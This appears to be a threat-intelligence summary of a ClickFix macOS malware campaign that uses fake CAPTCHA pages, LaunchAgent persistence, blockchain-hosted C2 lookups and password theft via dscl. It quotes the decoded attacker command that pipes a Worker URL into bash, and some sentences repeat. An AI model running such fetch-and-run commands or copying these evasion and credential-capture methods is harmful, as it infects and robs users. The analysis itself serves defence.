Loading malware…
11 distinct techniques documented for this family, organized by ATT&CK tactic.
ClickFix has emerged as one of the most effective social engineering techniques in the past two years. Rather than relying on malware downloads or software exploits, ClickFix deceives users into executing malicious commands themselves. A malicious webpage presents a fake CAPTCHA, instructing the visitor to copy and paste a command into their terminal.
The Worker returns a payload that begins with: osascript -e "$(echo "<base64>" | base64 -d)"
DECODED: curl -s 'https://black-feather-9cfd.adrianroy-01.workers.dev' | bash
The 'token' the victim is told to paste is not a token at all. It is the attacker's command, silently placed on the clipboard the moment the checkbox is clicked.
The persistence layer writes a LaunchAgent and loads it... RunAtLoad and KeepAlive ensure that the payload is launched when the LaunchAgent is loaded and is automatically restarted under the configured conditions.
The persistence layer writes a LaunchAgent and loads it... RunAtLoad and KeepAlive ensure that the payload is launched when the LaunchAgent is loaded and is automatically restarted under the configured conditions.
Every sensitive string in the loader is built one character at a time to defeat strings and grep... The loader loops several public Polygon RPC endpoints, asks a smart contract for the current C2 hostname, decodes it, and beacons to it
The use of osascript immediately gives us an important clue about the target. osascript is a macOS-native command-line utility, so from this first line the target platform is clear: this is a Mac
When it receives newconnect, it runs tccutil reset All, resetting the machine's TCC privacy permissions.
It re-prompts until the entered password authenticates against dscl . authonly, then writes the cleartext password to ~/.passphrase.
It re-prompts until the entered password authenticates against dscl . authonly, then writes the cleartext password to ~/.passphrase.
The victim's machine reaches out to a Cloudflare Worker, and the curl … | bash pipeline feeds the Worker's response directly into bash... The agent sends a &connect request... Every 60 seconds, the agent sends a …&task request
This actor leveraged EtherHiding - a method used to conceal malware code or C2 instructions within a public blockchain smart contract... the live C2 hostname is stored on Polygon and can be fetched at runtime.
1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.